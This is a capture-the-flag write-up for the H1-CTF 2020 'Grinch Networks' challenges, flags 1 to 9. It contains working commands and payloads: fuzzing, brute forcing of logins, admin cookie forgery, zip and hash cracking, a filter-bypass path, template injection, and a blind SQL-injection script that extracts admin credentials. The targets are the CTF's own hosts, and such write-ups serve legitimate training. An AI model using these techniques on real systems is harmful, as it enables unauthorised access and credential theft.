Hacking Grinch Networks - H1-CTF 2020

The theme of this h1-CTF was very interesting, they tried to mimic a fake company called GRINCH-NETWORKS.

GRINCH-NETWORKS is a new Company rolling 1 new feature on their website each day. We as hackers aim to penetrate each feature they release and find the flag as Proof of Concept(POC) that the feature has bugs in it.

The challenge were very interesting ranging from recon, osint to advance exploit chains. My writeup for all the flags is listed below in the order 1 to 12

The Beginning: Flag-1

H1-CTF started with the following tweet

1
The Grinch has gone hi-tech this year with the intention of ruining the holidays Face screaming in fearWe need you to infiltrate his network and take him down

The scope of attack surface was very clearly mentioned at https://hackerone.com/h1-ctf Hacker page. This reveals the web assets in scope for GRINCH-NETWORKS are:

It was day-1, there weren’t any features/apps released yet. We are expecting the flag-1 hidden somewhere on the website. I tried to brute force directories and files on https://hackyholidays.h1ctf.com/ using ffuf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>> sapra@Macbook-Pro $ ffuf -u "https://hackyholidays.h1ctf.com/FUZZ" -D -e html -w ~/Desktop/directorylist.txt -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

________________________________________________

 :: Method           : GET
 :: Extensions       : html
 :: Calibration      : true
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

robots.txt              [Status: 200, Size: 85, Words: 4, Lines: 3]
apps                    [Status: 200, Size: 5312, Words: 1368, Lines: 90]

On visiting https://hackyholidays.h1ctf.com/robots.txt we will be greeted with our first flag and it also leaks path to our next flag.

1
2
3
4
5
6
7
8
9
10
$ curl "https://hackyholidays.h1ctf.com/robots.txt" -v
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Content-Type: text/plain
< Accept-Ranges: bytes
<
User-agent: *
Disallow: /s3cr3t-ar3a
Flag: flag{48104912-28b0-494a-9995-a203d1e261e7}* Closing connection 0

Flag-1 : flag{48104912-28b0-494a-9995-a203d1e261e7}


Secret-Area : Flag-2

There was no description for this challenge but it was just a continuation of the 1st challenge.

We can notice that apart from FLAG-1 in https://hackyholidays.h1ctf.com/robots.txt we also have a secret path in it which is /s3cr3t-ar3a, so FLAG-2 should be somewhere here.

Being challenge-2 this should also be something easy, after trying to look for the flag and fuzzing sub-directories under /s3cr3t-ar3a/ we can find the flag in the page source. POC:

  • Visit https://hackyholidays.h1ctf.com/s3cr3t-ar3a in browser
  • Open INSPECT ELEMENT by pressing F12 on windows or Command+Option+i on Mac
  • Search for word flag in HTML and there is flag in one of the div (see the picture below)

FLAG-2 flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}

BONUS: This was good enough for me to move on to the next challenge but there’s a caveat. Doing a curl https://hackyholidays.h1ctf.com/ | grep flag didn’t reveal the flag but it’s only visible in the browser after doing INSPECT-ELEMENT. This means it’s being dynamically inserted into the webpage by some JAVASCRIPT. Out of curiosity I thought of looking where this script is and it was inside the JQuery library athttps://hackyholidays.h1ctf.com/assets/js/jquery.min.js.

1
2
3
4
5
6
7
8
9
10
11
var h1_0 = 'la'
, h1_1 = '}'
, h1_2 = ''
, h1_3 = 'f'
, h1_4 = 'g'
, h1_5 = '{b7ebcb75'
, h1_6 = '8454-'
, h1_7 = 'cfb9574459f7'
, h1_8 = '-9100-4f91-';

document.getElementById('alertbox').setAttribute('data-info', h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1);

Always good to satisfy your PTSD :smile: .. Moving on


People-Rater : FLAG-3

Description:

1
2
3
The grinch likes to keep lists of all the people he hates. This year he's gone digital but there might be a record that doesn't belong!

Challenge-Url: https://hackyholidays.h1ctf.com/people-rater

Understanding the Web-App

This was a simple web app that hits an API endpoint to get a list of users in a paginated manner. So

  • https://hackyholidays.h1ctf.com/people-rater/page/1 -> first 5 users
  • https://hackyholidays.h1ctf.com/people-rater/page/2 -> users 5-10

Next, there is an API https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6OH0= to get information about the user provided by parameter id. (id is base64 encoded JSON of {“id”:8} )

So the first step would be to enumerate information about each user.

Solution

I wrote a simple bash script to enumerate all users from id 1 to 20. Basically do a curl request for each userId from id [1-20] and print the result

1
2
3
4
5
6
7
8
9
10
11
12
13
>> sapra@MacBook-Pro ~ % for i in $(seq 1 20)
do
x=`echo {\"id\":${i}} | base64`
echo "------------------------"
echo -n "> UserInfo for ID=${i} -> "
curl "https://hackyholidays.h1ctf.com/people-rater/entry?id=${x}";
echo "\n";
done

------------------------
> UserInfo for ID=1 -> {"id":"eyJpZCI6MX0=","name":"The Grinch","rating":"Amazing in every possible way!","flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"}
> UserInfo for ID=2 -> {"id":"eyJpZCI6Mn0=","name":"Tea Avery","rating":"Awful"}
...

user information of userId=1 https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6MX0= contains flag

FLAG-3: flag{b705fb11-fb55-442f-847f-0931be82ed9a}


Swag-Shop : FLAG-4

Description:

1
2
3
Get your Grinch Merch! Try and find a way to pull the Grinch's personal details from the online shop.

Challenge-URL: https://hackyholidays.h1ctf.com/swag-shop

Understanding the Web-App

There was not much functionality to the app. We only have a login endpoint https://hackyholidays.h1ctf.com/swag-shop/api/login and nothing else. Trying to log in with common usernames/passwords didn’t work so brute-forcing credentials would be the last step.

The next immediate thing to do is recon. Look for hidden directories under https://hackyholidays.h1ctf.com/swag-shop

Fuzzing/Recon

Run ffuz under https://hackyholidays.h1ctf.com/swag-shop/FUZZ for finding hidden directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>> sapra@MacBook-Pro ~ % ffuf -u https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ -fc 404  -w ~/Desktop/hacking/wordlist/apiendpoints.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
________________________________________________

 :: Method           : GET
 :: URL              : https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ
________________________________________________

sessions                [Status: 200, Size: 2194, Words: 1, Lines: 1]
user                    [Status: 400, Size: 13, Words: 1, Lines: 1]
:: Progress: [3219/3219] :: Job [1/1] :: 111 req/sec :: Errors: 0 ::

Great, we find 2 interesting directories.

  • /sessions
    • This was open API which printed a list of all the login sessions that were logged in
    • Decoding base64 of each session we find bunch of cookie and 1 user-id C7DCCE-0E0DAB-B20226-FC92EA-1B9043
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      
        var sessions=[
        "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=",
        "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=",
        "eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==",
        "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=",
        "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=",
        "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=",
        "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=",
        "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="
      ].map(session => atob(session))
            
      console.log(sessions)
            
        0: {user: null, cookie: "YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMz…kM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="}
        1: {user: null, cookie: "ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNj…hZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="}
        2: {user: "C7DCCE-0E0DAB-B20226-FC92EA-1B9043", cookie: "NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YW…2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="}
        3: {user: null, cookie: "MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOG…4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="}
        4: {user: null, cookie: "M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MT…1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="}
        5: {user: null, cookie: "MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0Mm…kNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="}
        6: {user: null, cookie: "MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMm…yMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="}
        7: {user: null, cookie: "OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4ND…jMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="}
      
  • /user
    • This API sent response code 400 with data {"error":"Missing required fields"}. We will need to fuzz this further for HTTP PARAMETER’s.
    • Here we have a parameter missing so we will fuzz to guess the parameter now
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      
        >> sapra@MacBook-Pro $ ffuf -u "https://hackyholidays.h1ctf.com/swag-shop/api/user/?FUZZ=1"  -w ~/Desktop/parameters.txt -fs 35 -mc all
      
      
            /'___\  /'___\           /'___\
           /\ \__/ /\ \__/  __  __  /\ \__/
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
             \ \_\   \ \_\  \ \____/  \ \_\
              \/_/    \/_/   \/___/    \/_/
      
           v1.2.0-git
        ________________________________________________
      
         :: Method           : GET
         :: URL              : https://hackyholidays.h1ctf.com/swag-shop/api/user/?FUZZ=1
         :: Matcher          : Response status: all
         :: Filter           : Response size: 35
        ________________________________________________
      
        uuid                    [Status: 404, Size: 40, Words: 5, Lines: 1]
      
    • We have a parameter hit for uuid.

Solution

After finishing the recon we have an endpoint /session exposing some cookies and 1 user uuid and an endpoint /user which takes uuid as a parameter. Hitting /user endpoint with uuid from /session we will get the flag

1
2
3
4
>> sapra@MacBook-Pro ~ % curl  "https://hackyholidays.h1ctf.com/swag-shop/api/user/?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043"

{"uuid":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043","username":"grinch","address":{"line_1":"The Grinch","line_2":"The Cave","line_3":"Mount Crumpit","line_4":"Whoville"},"flag":"flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"}

FLAG-4: flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}


Secure-Login : FLAG-5

Description:

1
2
3
Try and find a way past the login page to get to the secret area.

Challenge-Url: https://hackyholidays.h1ctf.com/secure-login

Understanding the Web-App

There is not much functionality in the application. We are presented with a login Form and the description asks us to bypass it. The first few thoughts would be SQL-injection or something.

When trying to log-in with basic SQL-injection in username and password 1' or '1'='1, if we pay have attention to details, the error returned back is Invalid Username, Simply said, there is a way to enumerate username with this error message. So a correct username would say something like Invalid password.

With this knowledge, it means we can enumerate username and password. If this doesn’t work, we can go back to recon and search for hidden directories.

Solution

We can use ffuf to brute force username and validate our theory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>> sapra@MacBook ~ % fff -u "https://hackyholidays.h1ctf.com/secure-login"  -X POST -d 'username=FUZZ&password=?' -w ~/Desktop/users.txt  -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid Usern"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : POST
 :: URL              : https://hackyholidays.h1ctf.com/secure-login
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=?
 :: Filter           : Regexp: Invalid Usern
________________________________________________

access                  [Status: 200, Size: 1724, Words: 464, Lines: 37]

Ok, great we were able to find a valid username access. Now we can do the same for password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>> sapra@MacBook ~ % fff -u "https://hackyholidays.h1ctf.com/secure-login"  -X POST -d 'username=access&password=FUZZ' -w ~/Desktop/passwords.txt  -H "Content-Type: application/x-www-form-urlencoded" -ac


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : POST
 :: URL              : https://hackyholidays.h1ctf.com/secure-login
 :: Data             : username=access&password=FUZZ
________________________________________________

computer                [Status: 302, Size: 0, Words: 1, Lines: 1]

Login to https://hackyholidays.h1ctf.com/secure-login using credentials username=access and password=computer.

We can notice logging in sets the cookie securelogin=eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0= and we are logged in as non admin user.

Base64 decode the cookie

1
2
3
>> sapra@MacBook-Pro % echo eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0= | base64 -D

{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}

set the “admin” value to true and base64 encode and send it back. It should log us in as admin user.

1
2
3
>> sapra@Macbook-Pro % echo '{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":true}' | base64

eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjp0cnVlfQo=

We are able to log in as admin, but hey challenge ain’t over yet :P.

Download the zip file https://hackyholidays.h1ctf.com/my_secure_files_not_for_you.zip, We now have a password protected zip file. We can use john-the-ripper tool to crack the zip file password.

1
2
3
4
5
>> root@box:/ctf $ wget https://hackyholidays.h1ctf.com/my_secure_files_not_for_you.zip -O flag.zip
>> root@box:/ctf $ ./JohnTheRipper/run/zip2john flag.zip > flag.hash
>> root@box:/ctf $ ./JohnTheRipper/run/john flag.hash --show

<< flag.zip:hahahaha::flag.zip:flag.txt, xxx.png:flag.zip

ZIP’s password is hahahaha. We can now decrypt the zip and it will output a flag.txt file which has the flag

1
2
3
4
5
6
7
>> root@32ee62bd0d46:/ctf# unzip -P "hahahaha" flag.zip
Archive:  flag.zip
  inflating: xxx.png
 extracting: flag.txt

>> root@32ee62bd0d46:/ctf# cat flag.txt
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}

FLAG-5: flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}

My-Diary: FLAG 6

Description:

1
2
3
Hackers! It looks like the Grinch has released his Diary on Grinch Networks. We know he has an upcoming event but he hasn't posted it on his calendar. Can you hack his diary and find out what it is?

Challenge-URL: https://hackyholidays.h1ctf.com/my-diary

Understanding the Web-App

Opening the Challenge URL we are redirected to https://hackyholidays.h1ctf.com/my-diary/?template=entries.html . Apart from the parameter template=entries.html the application has no other LINK or functionality.

Fuzzing

Let’s start by fuzzing the parameter template in https://hackyholidays.h1ctf.com/my-diary/?template=FUZZ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>> sapra@MacBook-Pro ~ % fff -u "https://hackyholidays.h1ctf.com/my-diary/?template=FUZZ" -w ~/Desktop/directories.txt -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
________________________________________________

 :: Method           : GET
 :: URL              : https://hackyholidays.h1ctf.com/my-diary/?template=FUZZ
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response words: 1
________________________________________________

index.php               [Status: 200, Size: 689, Words: 126, Lines: 22]

And we have a parameter hit index.php which leaks the source code of the app.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
index.php

<?php
if( isset($_GET["template"])  ){
    $page = $_GET["template"];
    //remove non allowed characters
    $page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
    //protect admin.php from being read
    $page = str_replace("admin.php","",$page);
    //I've changed the admin file to secretadmin.php for more security!
    $page = str_replace("secretadmin.php","",$page);
    //check file exists
    if( file_exists($page) ){
       echo file_get_contents($page);
    }else{
        //redirect to home
        header("Location: /my-diary/?template=entries.html");
        exit();
    }
}else{
    //redirect to home
    header("Location: /my-diary/?template=entries.html");
    exit();
}

Solution

The source code is pretty straight forward. The goal is to get the contents of secretadmin.php by opening it as https://hackyholidays.h1ctf.com/my-diary/?template=secretadmin.php.

The problem is that the word secretadmin.php and admin.php are deleted from the user input template. Example of how str_replace works

  • $output = str_replace('admin.php', $userinput);
    • when $userinput = "admin.php" then => $output=""
    • when $userinput= "adadmin.phpmin.php" then => $output="admin.php"

str_replace() will delete admin.php from the input and leftover in this case will be admin.php (adadmin.phpmin.php = admin.php) as str_replace does not recursively delete the word from the input. Using this knowledge we can use the following payload to open secretadmin.php.

POC:

1
2
3
>> sapra@MacBook-Pro ~ % curl "https://hackyholidays.h1ctf.com/my-diary/?template=secsecretadmadmin.phpin.phpretadmadmin.phpin.php" | grep flag

<h4 class="text-center">flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}</h4>

FLAG-6: flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}

Hate-Mail-Generator: Flag-7

Description:

1
2
3
Sending letters is so slow! Now the grinch sends his hate mail by email campaigns! Try and find the hidden flag!

Challenge-URL: https://hackyholidays.h1ctf.com/hate-mail-generator

Understanding the web-app

The web application allows us to create Email templates to send to users. Without login, a user can only create an email template and preview how it will look but not save it. TL;DR We as user can create a temporary email template and preview it. Templates are generally a good candidate for template-injection in which we can abuse variables of the template to perform malicious activity. Therefore, we first need to know what malicious activity we should perform, in short find where the flag is, and use template injection to get the flag.

Fuzzing/Recon

We need to find the flag location first. We can definitely run ffuf but I prefer to manually understand the app structure first. We are provided with a demo email template for reference under Guess what Campaign at https://hackyholidays.h1ctf.com/hate-mail-generator/91d45040151b681549d82d8065d43030 with following content follows:

1
{ {template:cbdj3_grinch_header.html}} Hi2 { {name}}..... Guess what..... <strong>YOU SUCK!</strong>{ {template:cbdj3_grinch_footer.html}}

This cbdj3_grinch_header.html must be under some directory/file path. The first thing that comes to mind is to maybe include an incorrect HTML file, and hopefully produce some error. So let’s try to create a template with a random file path in search of an error that probably leaks the file path.

Create a new template with the following data and preview it :

Great we have a folder templates. Visit https://hackyholidays.h1ctf.com/hate-mail-generator/templates/ and directory listing is ON. we can find the admin user template at 38dhs_admins_only_header.html, Obviously, we cant open it directly or using { {template:38dhs_admins_only_header.html}} as its blocked. Let’s use the power of template-injection to bypass this filter.

Solution

So now we know we have to use template injection to include the file 38dhs_admins_only_header.html. The endpoint to preview a new template is as follows:

Observation:

  • The parameter preview_data is substituted into preview_markup.
  • Sending preview_markup={ {template:38dhs_admins_only_header.html}}&preview_data={} is blocked.

We can send the following request to retrieve the flag. preview_markup parameter does not contain { {template:38dhs_admins_only_header.html}} initially but after substituting preview_data into preview_data it does.

1
preview_markup={ {name}}&preview_data={"name":"{ {template:38dhs_admins_only_header.html}}"}

Flag-7: flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}


Forum : Flag-8

Description:

1
2
3
The Grinch thought it might be a good idea to start a forum but nobody really wants to chat to him. He keeps his best posts in the Admin section but you'll need a valid login to access that!

Challenge-URL: https://hackyholidays.h1ctf.com/forum

Understanding the web-app

It was a blogging app with few public blogs and admin’s only private blogs. The end goal seems to read Admin’s post which might contain the flag. Few things that come directly to mind is IDOR to fuzz and get Admin’s blog ID but the authorization was handled properly.

So the only thing I can think now is to get into the admin’s account.

Fuzzing/Recon

  • So the first obvious thing is to try default username/password and SQL/NoSQL injection at https://hackyholidays.h1ctf.com/forum/login but it didn’t work.
  • Directory brute forcing on https://hackyholidays.h1ctf.com/forum/ gives
    • phpmyadmin (Interesting but we don’t have its creds)
  • Fuzzed for zipped SQL file db.zip, sql.zip etc. got no hit.
  • swap files /.index.php.swp, /.index.swp etc. got no hit. …

After fuzzing everything within the website I can’t find any credentials. It was time to look elsewhere and do some real recon.

My recon process includes

  • Finding keywords
    • grinchnetworks (company name)
    • hackyholidays.h1ctf.com (domain name)
    • hackyholidays (sub-domain)
    • Image Logo is https://hackyholidays.h1ctf.com/assets/images/grinch-networks.png. Add grinch-networks to keywords dict.
    • Use CeWl to find keywords from scraping webpage …
  • Use following resources to search the keywords found in step-1
    • GitHub
    • webarchieve - Cached web pages
    • shodan
    • S3 bucket brute-forcing.
    • Google Hacking
    • certificates
    • https://storage.googleapis.com/[keyword] …

After trying the above recon tricks, I found a open github repo for this challenge after searching for word grinch-networks on github https://github.com/Grinch-Networks/forum

Before downloading the blog itself, it’s always always a good idea to check for older commits because usually, they can contain admin removing credentials from uploaded code OR fixing a bug. In our case, we can see that the 3rd commit https://github.com/Grinch-Networks/forum/commit/efb92ef3f561a957caad68fca2d6f8466c4d04ae was removing the Database credentials from the code.

Now we have database credentials: user: forum, pass: 6HgeAZ0qC9T6CQIqJpD and our fuzzing did show there was phpmyadmin. We can successfully login with these credentials at https://hackyholidays.h1ctf.com/forum/phpmyadmin .

User table in phpmyadmin contains 2 user

  • user=grinch , passwordHash=35D652126CA1706B59DB02C93E0C9FBF, admin=1
  • user=max, passwordHash=388E015BC43980947FCE0E5DB16481D1, admin=0

passwordHash is 32 characters long meaning it’s md5. Go to https://crackstation.net/ and paste the admin’s hash 35D652126CA1706B59DB02C93E0C9FBF there and it will crack it for us.

The cracked hash is BahHumbug.

Log into https://hackyholidays.h1ctf.com/forum/login with user grinch and password BahHumbug. We will be logged in as admin.

Visit admin’s secret post at https://hackyholidays.h1ctf.com/forum/3/2 and get the flag.

FLAG-8: flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}


Evil-Quiz : Flag-9

Description:

1
2
3
Just how evil are you? Take the quiz and see! Just don't go poking around the admin area!

Challenge-URL: https://hackyholidays.h1ctf.com/evil-quiz

Understanding the web-app

There is an admin login section to the app at https://hackyholidays.h1ctf.com/evil-quiz/admin.

Also, there’s a quiz section where we can play a simple quiz as follows:

We have 2 places where the app takes user input

  1. username : when starting the quiz
  2. quiz-answers : multiple choice answers to questions asked in step 2

Trying basic SQL-injection payload in the username field, we can find that username field is vulnerable to 2nd order SQL-injection. Let’s POC first.

This confirms we have 2nd order injection because the pyload made condition true for all the currently registered users. We can mimic the above behavior with python script so that we don’t have to do it manually.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests 

s = requests.Session() 
URL = "https://hackyholidays.h1ctf.com"

SET_USERNAME_URL = URL + "/evil-quiz"
TAKE_QUIZ_URL = URL + "/evil-quiz/start"
SCORE_URL = URL + "/evil-quiz/score"

def get_session():

    s.get(SET_USERNAME_URL, allow_redirects=False)
    r = s.post(SET_USERNAME_URL, data={"name":"test-get-session"}, allow_redirects=False)
    s.post(TAKE_QUIZ_URL, data={"ques_1":0,"ques_2":"0","ques_3":0}, allow_redirects=False)
    s.get(SCORE_URL,allow_redirects=False)
    print "[+] Session successfully created ", r.headers["Set-Cookie"]
    
def sqli(username):

    s.post(SET_USERNAME_URL, data={"name":username}, allow_redirects=False)
    r = s.get(SCORE_URL)  
    data =  re.search("There is (.*) othe", r.text)
    if data:
      print data.group(1)
      return data.group(1)
    else:
      print "ERROR nothing found", r.text
        
get_session() # Play game once to get user session (Cookie: session)
res = sqli("1' or '1' = '1") # Try sqli and print the numbers matching query.
### res = 0 means injection is false or Un-successful. Any other value means true ###

Solution

After confirming the injection, Our end goal is to leak the admin credentials from the database.

solver-h1-ctf-flag-9.py is the python script to automate the complete sql-injection and leak the admin credentials. It has detailed comments about every step of attack.

TL;DR on how the injection works:

  • database name => quiz
    • username = 1' or database() = 'quiz'# will return true.
  • Table-1 => admin, Table-2 = quiz
    • username = 1' OR (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) like 'admin'# returns true
    • username = 1' OR (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) like 'quiz'# returns true
  • columns of table admin => id, username and password
    • username = 1' OR (select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1) like 'id'# leaks column-1 = ‘id’
    • username = name=1' OR (select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1) like 'username'# leaks column-2 = ‘username’
    • username = name=1' OR (select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1) like 'password'# leaks column-3 = ‘password’
  • 1st entry of the table admin => username=admin password=S3creT_p4ssw0rd-$
    • username = ' OR (select username from admin)="admin"# leaks username=’admin’
    • username = ' OR (select password from admin)= "S3creT_p4ssw0rd-$" # leaks password=’S3creT_p4ssw0rd-$’

Simply log-in into admin console from https://hackyholidays.h1ctf.com/evil-quiz/admin using username=admin and password=S3creT_p4ssw0rd-$, and get the flag

